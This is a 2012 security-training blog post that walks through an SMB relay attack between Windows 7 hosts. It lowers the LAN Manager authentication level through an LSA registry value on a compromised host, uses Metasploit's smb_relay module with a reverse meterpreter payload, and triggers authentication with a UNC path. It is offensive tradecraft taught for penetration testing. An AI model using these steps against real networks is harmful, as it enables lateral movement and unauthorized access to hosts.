Links

Friday, November 16, 2012

Windows 7 and SMB Relay

Lately we have had a
number of posts about our training classes, and I said I would
put something
technical up on the blog.In one of our classes,
we teach students how to think like real bad guys and think
beyond exploits. We
teach how to examine a situation, how to handle that
situation, and then
how to capitalize on that situation. Recently on an
engagement, I had to figure out how to exploit a domain-based
account that
could log into all Windows 7 hosts on the network, but there
were network ACLs
in place that prohibited SMB communications between the hosts.
So, I turned to
SMB relay to help me out. This vulnerability has plagued
Windows networks for
years, and with MS08-068 and NTLMv2, MS started to make things
difficult.
MS08-068 won't allow you to replay the hash back to the
initial sender and get
a shell, but it doesn’t stop you from being able to replay the
hash to another
host and get a shell – at least, it doesn’t stop you as long
as the host isn't
speaking NTMLv2! By default, Vista and up send NTMLv2 response
only for the LAN
Manager authentication level. This becomes problematic in
newer networks,
as seen in this screen shot from my first attempt to do SMB
relay between two Windows
7 hosts:

In this scenario, we
have host 192.168.0.14, which I have compromised and have
discovered that the
domain account rgideon
can probably authenticate into all Windows 7 hosts. We have
applied
unique Windows-based recon techniques that we teach in our
class to determine
this. We see that 192.168.0.13 is also a Windows 7 host, and
we will look to
authenticate into it, but we can't do it from the .14 host.
There is a firewall
between .13 and .14; so instead, we will attempt to do SMB
Relay with host
192.168.0.15 as the bounce host.So, what can we do in
this scenario? We don't teach too much visual hacking in any
of our classes, so
everything must be done using shells, scripts, or something
inconspicuous. In
this situation, I did some research looking into the LAN
Manager authentication
protocol. I found a nice little registry key that doesn't
exist by
default in Vista and up, but if we put the registry key in
place, then the LAN
Manager authentication settings listen to the registry key.
This happens on the fly; there are no reboots,
logon/logoff's, etc. There
is a caveat with this! You have to have
administrator privileges on the
first host! This scenario is about tactically exploiting
networks and
doing this the smart way.Since we
have a shell on
our first host (192.168.0.14) and we have gotten it by migrating
into
processes, stealing tokens, etc., we can move a reg file with
the following
contents up to the first host.

This registry key is
targeting the following path: HKLM\SYSTEM\CurrentControlSet\Control\Lsa.

If we drop in a new
DWORD value of 00000000, this will toggle the LAN Manager
authentication level
down to the absolute minimum, which will send LM and NTLM
responses across the
network. Now that we have the LAN Manager authentication value
set to as low as
it will go, we can capitalize on this.

Open a metasploit
console (you will need admin privileges) on the host that will
be set up as a
bounce through host (192.168.0.15). With your msfconsole, use
the exploit
smb_relay and whatever payload you choose. I have chosen to
use a reverse_https
meterpreter. The screen shot below is an example of my
settings:

Once all your settings
are selected, exploit and get ready for the hard part. We
need to get
this account to attempt authentication to our bounce through
the host with LAN
Manager authentication. SMB relay in this setting is
probably best used by
getting the account you are targeting to visit your
malicious host
(192.168.0.15) through a UNC path (\\mybadhost\\share).
Getting a user to
do this is not something we will go into in this post. We
reserve that type of
thing for teaching at the class, but we have used this
tactic, coupled with a
few others, to compromise almost a whole Windows domain.For brevity’s
sake, we
will just go ahead and simulate this activity by simply typing
the following in the run
dialogue box on the first victim host: (192.168.0.14)
\\192.168.0.15\share\image.jpg.

I am not
really hosting anything as a share on my host. I just need the
LAN Manager
authentication process to attempt authentication to my host
(192.168.0.15).
This attempt of authentication actually happens even by just
typing \\192.168.0.15. With just the IP address entered,
you will see
authentication attempts to your host, but for large scale
attacks, or something
along those lines, it is best to have a full UNC path.
Once the rgideon
account on host 192.168.0.14 starts authentication requests
to our relay host
192.168.0.15, things will actually look as though they are
being denied by the
end host 192.168.0.13:

As you can see, we are
receiving LAN Manager authentication requests from
192.168.0.14 and attempting
to relay them to 192.168.0.13, but it looks as though they are
being denied. This is a false negative. Type in sessions -l
in your metasploit
console, and you will see that you have a meterpreter session
on 192.168.0.13.

This is a simple
demonstration and exploit that we teach in some of our
offensive-based classes.
Our Offensive
Techniques is a class
based on trying to show people real-world attacks coupled with
unique
approaches to compromising both Windows and Unix
infrastructures. Offensive
Techniques has various
sections in it that we have seen used in APT attacks, and the
class also
includes custom techniques built and used by Attack Research.

The goal of our training
is to get you out of the mindset of traditional pen
testing and show
students how real offensive attacks really happen. We are
hoping these
types of concepts spread to the whole industry.
When this happens we will be able to make an impact at
the business level
on how companies, governments, etc., make decisions based upon
real security
threats and a true security landscape. If you are interested in training that we released yesterday or have questions please visit our site or email us at training@attackresearch.com with any questions.